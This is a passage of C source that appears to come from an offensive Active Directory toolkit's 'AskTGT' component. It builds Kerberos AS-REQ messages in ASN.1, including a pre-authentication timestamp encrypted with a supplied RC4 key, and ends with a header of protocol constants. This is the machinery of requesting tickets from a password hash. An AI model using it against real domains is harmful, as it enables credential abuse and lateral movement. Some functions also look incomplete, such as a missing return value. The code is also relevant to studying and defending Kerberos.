ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x02, &Cipher ); // Get sequence ASN_ELEMENT Elements[0x02] = { EType, Cipher }; Status = KerbpAsnMakeConstructed( &Temp3, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x02 ); // Encode the sequence *RawData = calloc(0x01, Temp3.ObjectLength + 0x10); *RawDataSize = KerbpAsnEncode( &Temp3, 0x00, Temp3.ObjectLength + 0x10, 0x00, *RawData ); if (Temp3.Sub) free(Temp3.Sub); return STATUS_SUCCESS; } /// /// Generate kdc-options ASN.1 element. /// NTSTATUS KerbpGenerateKdcOptions( _In_ ULONG Options, _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // Convert the options to little endian UCHAR Bytes[0x05] = { 0x00 }; Bytes[0x01] = XLATE_UINT32(Options, 0x00); Bytes[0x02] = XLATE_UINT32(Options, 0x01); Bytes[0x03] = XLATE_UINT32(Options, 0x02); Bytes[0x04] = XLATE_UINT32(Options, 0x03); // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; // Get the sequence Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_BIT_STRING, Bytes, 0x00, 0x05 ); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x00, pElement ); return Status; } /// /// Generate cname ASN.1 element. /// NTSTATUS KerbpGeneratePrincipalName( _In_ PCSTR Principal, _In_ INT32 PrincipalSize, _In_ INT32 Type, //_In_ INT32 FinalClassValue, _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; ASN_ELEMENT Temp3 = { 0x00 }; ASN_ELEMENT Temp4 = { 0x00 }; // name-type ASN_ELEMENT NameType = { 0x0 }; Status = KerbpAsnMakeInteger(&Temp1, Type); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x00, &NameType ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); // name-string if (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) { // We are generating sname PBYTE Encodekrbtgt = NULL; INT32 EncodekrbtgtSize = 0x00; Status = KerbpEncodeUTF8( "krbtgt", strlen("krbtgt"), &Encodekrbtgt, &EncodekrbtgtSize ); Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_UTF8STRING, Encodekrbtgt, 0x00, EncodekrbtgtSize ); Status = KerbpAsnMakeImplicit( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_GENERAL_STRING, &Temp3 ); RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); } PBYTE EncodeSecurityPrincipal = NULL; INT32 EncodeSecurityPrincipalSize = 0x00; Status = KerbpEncodeUTF8( Principal, PrincipalSize, &EncodeSecurityPrincipal, &EncodeSecurityPrincipalSize ); Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_UTF8STRING, EncodeSecurityPrincipal, 0x00, EncodeSecurityPrincipalSize ); Status = KerbpAsnMakeImplicit( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_GENERAL_STRING, &Temp2 ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); // name-string sequence ASN_ELEMENT Strings[0x02] = { 0x00 }; if (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) { Strings[0x00] = Temp3; Strings[0x01] = Temp2; } else { Strings[0x00] = Temp2; } Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Strings, (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) ? 0x02 : 0x01 ); Status = KerbpAsnMakeConstructed( &Temp4, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); ASN_ELEMENT NameString = { 0x00 }; Status = KerbpAsnMakeImplicit( &Temp4, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x01, &NameString ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp3, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp4, sizeof(ASN_ELEMENT)); // Final Sequence ASN_ELEMENT Elements[0x02] = { NameType, NameString }; Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x02 ); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); return KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, (Type != KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL) ? 0x03 : 0x01, pElement ); } /// /// Generate realm ASN.1 element. /// NTSTATUS KerbpGenerateRealm( _In_ PCSTR Realm, _In_ INT32 RealmSize, _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; ASN_ELEMENT Temp3 = { 0x00 }; Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_IA5_STRING, Realm, 0x00, RealmSize ); Status = KerbpAsnMakeImplicit( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_GENERAL_STRING, &Temp2 ); Status = KerbpAsnMakeConstructed( &Temp3, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp2, 0x01 ); return KerbpAsnMakeImplicit( &Temp3, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x02, pElement ); } /// /// Generate nonce ASN.1 element. /// NTSTATUS KerbpGenerateNonce( _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; INT32 Random = (INT32)__rdtsc(); Status = KerbpAsnMakeInteger(&Temp1, Random); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); return KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x07, pElement ); } /// /// Generate etype ASN.1 element. /// NTSTATUS KerbpGenerateEtype( _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp1, KERBEROS_ETYPE_RC4_HMAC); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp2, 0x01 ); // Final sequence return KerbpAsnMakeImplicit( &Temp1, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x08, pElement ); } /// /// Generate ASN.1 elements for pvno and msg-type /// NTSTATUS KerbGeneratePvnoAndType( _Out_ ASN_ELEMENT* Pvno, _Out_ ASN_ELEMENT* MessageType ) { NTSTATUS Status = STATUS_SUCCESS; // Generate the ASN.1 element for the ASN_ELEMENT Temp1 = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp1, 5); ASN_ELEMENT Temp2 = { 0x00 }; Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x01, Pvno ); // Generate the ASN.1 element ASN_ELEMENT Temp3 = { 0x00 }; ASN_ELEMENT Temp4 = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp3, KERBEROS_MESSAGE_TYPE_AS_REQ); Status = KerbpAsnMakeConstructed( &Temp4, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp3, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp4, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x02, MessageType ); return Status; } /// /// Generate the EncryptedData ASN.1 element containing the encrypted timestamp. /// NTSTATUS KerbGenerateEncryptedData( _In_ LPCSTR StringKey, _In_ DWORD StringKeySize, _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; // padata-type ASN_ELEMENT PdataType = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp1, KERBEROS_PDATA_TYPE_ENC_TIMESTAMP); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x01, &PdataType ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); // Generate the timestamp ASN_ELEMENT Timestamp = { 0x00 }; Status = KerbpGenerateTimestamp(0x00, &Timestamp); // Encrypt the timestamp DWORD EncryptedDataSize = 0x00; ENCRYPTED_DATA EncryptedData = { 0x00 }; EncryptedData.EType = KERBEROS_ETYPE_RC4_HMAC; Status = KerbpEncryptTimestamp( StringKey, StringKeySize, &Timestamp, &EncryptedData, &EncryptedDataSize ); // Get encoded data PBYTE RawEncryptedData = NULL; DWORD RawEncryptedDataSize = 0x00; KerbpEncodeEncryptedData( &EncryptedData, EncryptedDataSize, &RawEncryptedData, &RawEncryptedDataSize ); // padata-value ASN_ELEMENT PdataValue = { 0x00 }; Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_OCTET_STRING, RawEncryptedData, 0x00, RawEncryptedDataSize ); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x02, &PdataValue ); // Create sequence for both element. ASN_ELEMENT Elements[0x02] = { PdataType, PdataValue }; Status = KerbpAsnMakeConstructed( pElement, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x02 ); } /// /// Generate the PacRequest ASN.1 element. /// NTSTATUS KerbGeneratePac( _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; // padata-type ASN_ELEMENT PdataType = { 0x00 }; Status = KerbpAsnMakeInteger(&Temp1, KERBEROS_PDATA_TYPE_PA_PAC_REQUEST); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x01, &PdataType ); // Reset RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); // Generate the PAC request. ASN_ELEMENT PdataValue = { 0x00 }; BYTE Blob[0x07] = { 0x30, 0x05, 0xa0, 0x03, 0x01, 0x01, 0x01 }; Status = KerbpAsnMakePrimitive( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_OCTET_STRING, Blob, 0x00, 0x07 ); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x02, &PdataValue ); // Create sequence for both element. ASN_ELEMENT Elements[0x02] = { PdataType, PdataValue }; return KerbpAsnMakeConstructed( pElement, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x02 ); } /// /// Generate the KDC-REQ-BODY ASN.1 element. /// NTSTATUS KerbGenerateKDCReqBody( _In_ PBYTE DomainName, _In_ PBYTE SecurityPrincipal, _Out_ ASN_ELEMENT* pElement ) { NTSTATUS Status = STATUS_SUCCESS; // kdc-options ASN_ELEMENT KdcOptions = { 0x00 }; Status = KerbpGenerateKdcOptions( (KERBEROS_KDC_OPTION_FORWARDABLE | KERBEROS_KDC_OPTION_RENEWABLE | KERBEROS_KDC_OPTION_RENEWABLEOK), &KdcOptions ); // cname ASN_ELEMENT Cname = { 0x00 }; Status = KerbpGeneratePrincipalName( SecurityPrincipal, strlen(SecurityPrincipal), KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL, &Cname ); // realm ASN_ELEMENT Realm = {0x00}; Status = KerbpGenerateRealm( DomainName, strlen(DomainName), &Realm ); // sname ASN_ELEMENT Sname = { 0x00 }; Status = KerbpGeneratePrincipalName( DomainName, strlen(DomainName), KERBEROS_PRINCIPAL_TYPE_NT_SRV_INST, &Sname ); // till ASN_ELEMENT Till = { 0x00 }; Status = KerbpGenerateTimestamp(0x05, &Till); // nonce ASN_ELEMENT Nonce = { 0x00 }; Status = KerbpGenerateNonce(&Nonce); // etype ASN_ELEMENT Etype = { 0x00 }; Status = KerbpGenerateEtype(&Etype); // Make sequence with everything from above ASN_ELEMENT Elements[0x07] = { KdcOptions, Cname, Realm, Sname, Till, Nonce, Etype }; return KerbpAsnMakeConstructed( pElement, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x07 ); } /// /// Generate the final ASN.1 element. /// NTSTATUS KerbGenerateFinalRequest( _In_ ASN_ELEMENT* Pvno, _In_ ASN_ELEMENT* MessageType, _In_ ASN_ELEMENT* EncryptedData, _In_ ASN_ELEMENT* Pac, _In_ ASN_ELEMENT* Body, _Out_ PBYTE* Data, _Out_ INT32* DataSize ) { NTSTATUS Status = STATUS_SUCCESS; // Temporary elements ASN_ELEMENT Temp1 = { 0x00 }; ASN_ELEMENT Temp2 = { 0x00 }; // Final body ASN_ELEMENT FinalBody = { 0x00 }; Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Body, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp1, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x04, &FinalBody ); RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); // Final padata ASN_ELEMENT FinalPadata = { 0x00 }; ASN_ELEMENT Padata[0x02] = { *EncryptedData, *Pac }; Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Padata, 0x02 ); Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_CONTEXT_SPECIFIC, 0x03, &FinalPadata ); RtlZeroMemory(&Temp1, sizeof(ASN_ELEMENT)); RtlZeroMemory(&Temp2, sizeof(ASN_ELEMENT)); // Encode everything ASN_ELEMENT Elements[0x04] = { *Pvno, *MessageType, FinalPadata, FinalBody }; Status = KerbpAsnMakeConstructed( &Temp1, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, Elements, 0x04 ); // Final request ASN_ELEMENT FinalRequest = { 0x00 }; Status = KerbpAsnMakeConstructed( &Temp2, ASN_TAG_CLASS_UNIVERSAL, ASN_TAG_SEQUENCE, &Temp1, 0x01 ); Status = KerbpAsnMakeImplicit( &Temp2, ASN_TAG_CLASS_APPLPICATION, 10, &FinalRequest ); // Encode everything to a byte array *Data = calloc(0x01, FinalRequest.ObjectLength); *DataSize = KerbpAsnEncode( &FinalRequest, 0x00, FinalRequest.ObjectLength + 0x10, 0x00, *Data ); return STATUS_SUCCESS; } ================================================ FILE: Kerberos/AskTGT/kerberos.h ================================================ #ifndef __TGT_H_GUARD__ #define __TGT_H_GUARD__ #include #define STATUS_SUCCESS 0x00000000 #define STATUS_UNSUCCESSFUL 0xC0000001 #define STATUS_PRIVILEGE_NOT_HELD 0xC0000061 #define STATUS_NOT_SUPPORTED 0xC00000BB #define STATUS_NO_TOKEN 0xC000007C #ifndef NT_ERROR #define NT_ERROR(Status) ((((ULONG)(Status)) >> 30) == 3) #endif #ifndef NT_SUCCESS #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) #endif #define XLATE_UINT32(disp, x) (((ULONG32)disp & ((ULONG32)0xFF << (8 *(3 - x)))) >> (8 * (3 - x))) #define KERBEROS_KEY_USAGE_AS_REQ_PA_ENC_TIMESTAMP 1 #define KERBEROS_KEY_USAGE_AS_REP_TGS_REP 2 #define KERBEROS_KEY_USAGE_AS_REP_EP_SESSION_KEY 3 #define KERBEROS_KEY_USAGE_TGS_REQ_ENC_AUTHOIRZATION_DATA 4 #define KERBEROS_KEY_USAGE_TGS_REQ_PA_AUTHENTICATOR 7 #define KERBEROS_KEY_USAGE_TGS_REP_EP_SESSION_KEY 8 #define KERBEROS_KEY_USAGE_AP_REQ_AUTHENTICATOR 11 #define KERBEROS_KEY_USAGE_KRB_PRIV_ENCRYPTED_PART 13 #define KERBEROS_KEY_USAGE_KRB_CRED_ENCRYPTED_PART 14 #define KERBEROS_KEY_USAGE_KRB_NON_KERB_SALT 16 #define KERBEROS_KEY_USAGE_KRB_NON_KERB_CKSUM_SALT 17 #define KERBEROS_KEY_USAGE_PA_S4U_X509_USER 26 #define KERBEROS_PDATA_TYPE_NONE 0 #define KERBEROS_PDATA_TYPE_TGS_REQ 1 #define KERBEROS_PDATA_TYPE_AP_REQ 1 #define KERBEROS_PDATA_TYPE_ENC_TIMESTAMP 2 #define KERBEROS_PDATA_TYPE_PW_SALT 3 #define KERBEROS_PDATA_TYPE_ENC_UNIX_TIME 5 #define KERBEROS_PDATA_TYPE_SANDIA_SECUREID 6 #define KERBEROS_PDATA_TYPE_SESAME 7 #define KERBEROS_PDATA_TYPE_OSF_DCE 8 #define KERBEROS_PDATA_TYPE_CYBERSAFE_SECUREID 9 #define KERBEROS_PDATA_TYPE_AFS3_SALT 10 #define KERBEROS_PDATA_TYPE_ETYPE_INFO 11 #define KERBEROS_PDATA_TYPE_SAM_CHALLENGE 12 #define KERBEROS_PDATA_TYPE_SAM_RESPONSE 13 #define KERBEROS_PDATA_TYPE_SAM_RESPONSE 13 #define KERBEROS_PDATA_TYPE_PK_AS_REQ_19 14 #define KERBEROS_PDATA_TYPE_PK_AS_REP_19 15 #define KERBEROS_PDATA_TYPE_PK_AS_REQ_WIN 15 #define KERBEROS_PDATA_TYPE_PK_AS_REQ 16 #define KERBEROS_PDATA_TYPE_PK_AS_REP 17 #define KERBEROS_PDATA_TYPE_PA_PK_OCSP_RESPONSE 18 #define KERBEROS_PDATA_TYPE_ETYPE_INFO2 19 #define KERBEROS_PDATA_TYPE_USE_SPECIFIED_KVNO 20 #define KERBEROS_PDATA_TYPE_SVR_REFERRAL_INFO 20 #define KERBEROS_PDATA_TYPE_SAM_REDIRECT 21 #define KERBEROS_PDATA_TYPE_GET_FROM_TYPED_DATA 22 #define KERBEROS_PDATA_TYPE_SAM_ETYPE_INFO 23 #define KERBEROS_PDATA_TYPE_SERVER_REFERRAL 25 #define KERBEROS_PDATA_TYPE_TD_KRB_PRINCIPAL 102 #define KERBEROS_PDATA_TYPE_PK_TD_TRUSTED_CERTIFIERS 104 #define KERBEROS_PDATA_TYPE_PK_TD_CERTIFICATE_INDEX 105 #define KERBEROS_PDATA_TYPE_TD_APP_DEFINED_ERROR 106 #define KERBEROS_PDATA_TYPE_TD_REQ_NONCE 107 #define KERBEROS_PDATA_TYPE_TD_REQ_SEQ 108 #define KERBEROS_PDATA_TYPE_PA_PAC_REQUEST 128 #define KERBEROS_PDATA_TYPE_S4U2SELF 129 #define KERBEROS_PDATA_TYPE_PA_S4U_X509_USER 130 #define KERBEROS_PDATA_TYPE_PA_PAC_OPTIONS 167 #define KERBEROS_PDATA_TYPE_PK_AS_09_BINDING 132 #define KERBEROS_PDATA_TYPE_CLIENT_CANONICALIZED 133 #define KERBEROS_MESSAGE_TYPE_AS_REQ 10 #define KERBEROS_MESSAGE_TYPE_AS_REP 11 #define KERBEROS_MESSAGE_TYPE_TGS_REQ 12 #define KERBEROS_MESSAGE_TYPE_TGS_REP 13 #define KERBEROS_MESSAGE_TYPE_AP_REQ 14 #define KERBEROS_MESSAGE_TYPE_AP_REP 15 #define KERBEROS_MESSAGE_TYPE_TGT_REQ 16 #define KERBEROS_MESSAGE_TYPE_TGT_REP 17 #define KERBEROS_MESSAGE_TYPE_SAFE 20 #define KERBEROS_MESSAGE_TYPE_PRIV 21 #define KERBEROS_MESSAGE_TYPE_CRED 22 #define KERBEROS_MESSAGE_TYPE_ERROR 30 #define KERBEROS_ETYPE_DES_CBC_CRC 1 #define KERBEROS_ETYPE_DES_CBC_MD4 2 #define KERBEROS_ETYPE_DES_CBC_MD5 3 #define KERBEROS_ETYPE_DES3_CBC_MD5 5 #define KERBEROS_ETYPE_DES3_CBC_SHA1 7 #define KERBEROS_ETYPE_DSA_WITH_SHA1_CMSOID 9 #define KERBEROS_ETYPE_MD5_WITH_RSA_ENCRYPTION_CMSOID 10 #define KERBEROS_ETYPE_SHA1_WITH_RSA_ENCRYPTION_CMSOID 11 #define KERBEROS_ETYPE_RC2CBC_ENVOID 12 #define KERBEROS_ETYPE_RSA_ENCRYPTION_ENVOID 13 #define KERBEROS_ETYPE_RSA_ES_OAEP_ENV_IOD 14 #define KERBEROS_ETYPE_DES_EDE3_CBC_ENV_OID 15 #define KERBEROS_ETYPE_DES3_CBC_SHA1_KD 16 #define KERBEROS_ETYPE_AES128_CTS_HMAC_SHA1 17 #define KERBEROS_ETYPE_AES256_CTS_HMAC_SHA1 18 #define KERBEROS_ETYPE_RC4_HMAC 23 #define KERBEROS_ETYPE_RC4_HMAC_EXPORT 24 #define KERBEROS_ETYPE_SUBKEY_MATERIAL 65 #define KERBEROS_ETYPE_OLD_EXP -135 #define KERBEROS_KDC_OPTION_VALIDATE 0x00000001 #define KERBEROS_KDC_OPTION_RENEW 0x00000002 #define KERBEROS_KDC_OPTION_UNUSED29 0x00000004 #define KERBEROS_KDC_OPTION_ENCTKTINSKEY 0x00000008 #define KERBEROS_KDC_OPTION_RENEWABLEOK 0x00000010 #define KERBEROS_KDC_OPTION_DISABLETRANSITEDCHECK 0x00000020 #define KERBEROS_KDC_OPTION_UNUSED16 0x0000FFC0 #define KERBEROS_KDC_OPTION_CONSTRAINED_DELEGATION 0x00020000 #define KERBEROS_KDC_OPTION_CANONICALIZE 0x00010000 #define KERBEROS_KDC_OPTION_CNAMEINADDLTKT 0x00004000 #define KERBEROS_KDC_OPTION_OK_AS_DELEGATE 0x00040000 #define KERBEROS_KDC_OPTION_REQUEST_ANONYMOUS 0x00008000 #define KERBEROS_KDC_OPTION_UNUSED12 0x00080000 #define KERBEROS_KDC_OPTION_OPTHARDWAREAUTH 0x00100000 #define KERBEROS_KDC_OPTION_PREAUTHENT 0x00200000 #define KERBEROS_KDC_OPTION_INITIAL 0x00400000 #define KERBEROS_KDC_OPTION_RENEWABLE 0x00800000 #define KERBEROS_KDC_OPTION_UNUSED7 0x01000000 #define KERBEROS_KDC_OPTION_POSTDATED 0x02000000 #define KERBEROS_KDC_OPTION_ALLOWPOSTDATE 0x04000000 #define KERBEROS_KDC_OPTION_PROXY 0x08000000 #define KERBEROS_KDC_OPTION_PROXIABLE 0x10000000 #define KERBEROS_KDC_OPTION_FORWARDED 0x20000000 #define KERBEROS_KDC_OPTION_FORWARDABLE 0x40000000 #define KERBEROS_KDC_OPTION_RESERVED 0x80000000 #define KERBEROS_PRINCIPAL_TYPE_NT_UNKNOWN 0 #define KERBEROS_PRINCIPAL_TYPE_NT_PRINCIPAL 1 #define KERBEROS_PRINCIPAL_TYPE_NT_SRV_INST 2 #define KERBEROS_PRINCIPAL_TYPE_NT_SRV_HST 3 #define KERBEROS_PRINCIPAL_TYPE_NT_SRV_XHST 4 #define KERBEROS_PRINCIPAL_TYPE_NT_UID 5 #define KERBEROS_PRINCIPAL_TYPE_NT_X500_PRINCIPAL 6 #define KERBEROS_PRINCIPAL_TYPE_NT_SMTP_NAME 7 #define KERBEROS_PRINCIPAL_TYPE_NT_ENTERPRISE 10 // ASN.1 Tag identifiers #define ASN_TAG_INTEGER 0x02 #define ASN_TAG_BIT_STRING 0x03 #define ASN_TAG_OCTET_STRING 0x04 #define ASN_TAG_NULL 0x05 #define ASN_TAG_OBJECT_IDENTIFIER 0x06 #define ASN_TAG_UTF8STRING 0x0C #define ASN_TAG_SEQUENCE 0x10 #define ASN_TAG_SEQUENCE_OF (ASN_TAG_SEQUENCE) #define ASN_TAG_SET 0x11 #define ASN_TAG_SET_OF (ASN_TAG_SET) #define ASN_TAG_PRINTABLE_STRING 0x13 #define ASN_TAG_IA5_STRING 0x16 #define ASN_TAG_UTC_TIME 0x17 #define ASN_TAG_GENERALIZED_TIME 0x18 #define ASN_TAG_GRAPHIC_STRING 0x19 #define ASN_TAG_VISIBLE_STRING 0x1A #define ASN_TAG_GENERAL_STRING 0x1B #define ASN_TAG_UNIVERSAL_STRING 0x1C #define ASN_TAG_CHARACTER_STRING 0x1D #define ASN_TAG_BMP_STRING 0x1E // ASN.1 Tag classes #define ASN_TAG_CLASS_UNIVERSAL 0 #define ASN_TAG_CLASS_APPLPICATION 1 #define ASN_TAG_CLASS_CONTEXT_SPECIFIC 2 #define ASN_TAG_CLASS_PRIVATE 3 /// /// ASN.1 BER Element /// typedef struct _ASN_ELEMENT { INT32 TagValue; // Tag of the element. Look at ASN_TAG_* INT32 TagClass; // Tag class of the elemnt. Look at ASN_TAG_CLASS_* // Sub elements if composed PBYTE Sub; // List of sub ASN.1 element UINT8 SubElements; // If != 0x00 constructed element otherwise primitive element // Internal Values PBYTE ObjectBuffer; // The final object to use INT32 ObjectLength; // Length of the encoded object INT32 ObjectOffset; // Offset of the objetc buffer INT32 ValueOffset; // Offset of the value INT32 ValueLength; // Length of the value held by the object }ASN_ELEMENT, *PASN_ELEMENT; ///EncryptedData::= SEQUENCE { /// etype[0] Int32 -- EncryptionType --, /// kvno[1] UInt32 OPTIONAL, /// cipher[2] OCTET STRING -- ciphertext ///} typedef struct _ENCRYPTED_DATA { INT32 EType; UINT32 kvno; LPVOID cipher; } ENCRYPTED_DATA, *PENCRYPTED_DATA; /// /// Used in conjunction with cryptdll.dll /// typedef struct _KERBEROS_ECRYPT { INT32 Type0; INT32 BlockSize; INT32 Type1; INT32 KeySize; INT32 Size; INT32 Unknown2; INT32 Unknown3; LPVOID AlgName; LPVOID Initialize; LPVOID Encrypt; LPVOID Decrypt; LPVOID Finish; LPVOID HashPassword; LPVOID RandomKey; LPVOID Control; LPVOID Unknown0Null; LPVOID Unknown1Null; LPVOID Unknown2Null; } KERBEROS_ECRYPT, *PKERBEROS_ECRYPT; //-------------------------------------------------------------------------------------------------// // External functions //-------------------------------------------------------------------------------------------------// typedef INT32(STDMETHODCALLTYPE* fnCDLocateCSystem)( _In_ INT32 Etype, _Out_ LPVOID AddressOfStructure ); typedef INT32(STDMETHODCALLTYPE* fnInitialize)( _In_ LPBYTE Key, _In_ INT32 KeySize, _In_ INT32 KeyUsage, _Out_ LPVOID* Context ); typedef INT32(STDMETHODCALLTYPE* fnEncrypt)( _In_ LPVOID Context, _In_ LPBYTE BufferIn, _In_ INT32 BufferInSize, _Out_ LPBYTE BufferOut, _Out_ DWORD* BufferOutSize ); typedef INT32(STDMETHODCALLTYPE* fnFinish)( _In_ LPVOID Context ); //-------------------------------------------------------------------------------------------------// // Public functions //-------------------------------------------------------------------------------------------------// NTSTATUS KerbGeneratePvnoAndType( _Out_ ASN_ELEMENT* Pvno, _Out_ ASN_ELEMENT* MessageType ); NTSTATUS KerbGenerateEncryptedData( _In_ LPCSTR StringKey, _In_ DWORD StringKeySize, _Out_ ASN_ELEMENT* EncryptedData ); NTSTATUS KerbGeneratePac( _Out_ ASN_ELEMENT* pElement ); NTSTATUS KerbGenerateKDCReqBody( _In_ PBYTE DomainName, _In_ PBYTE SecurityPrincipal, _Out_ ASN_ELEMENT* pElement ); NTSTATUS KerbGenerateFinalRequest( _In_ ASN_ELEMENT* Pvno, _In_ ASN_ELEMENT* MessageType, _In_ ASN_ELEMENT* EncryptedData, 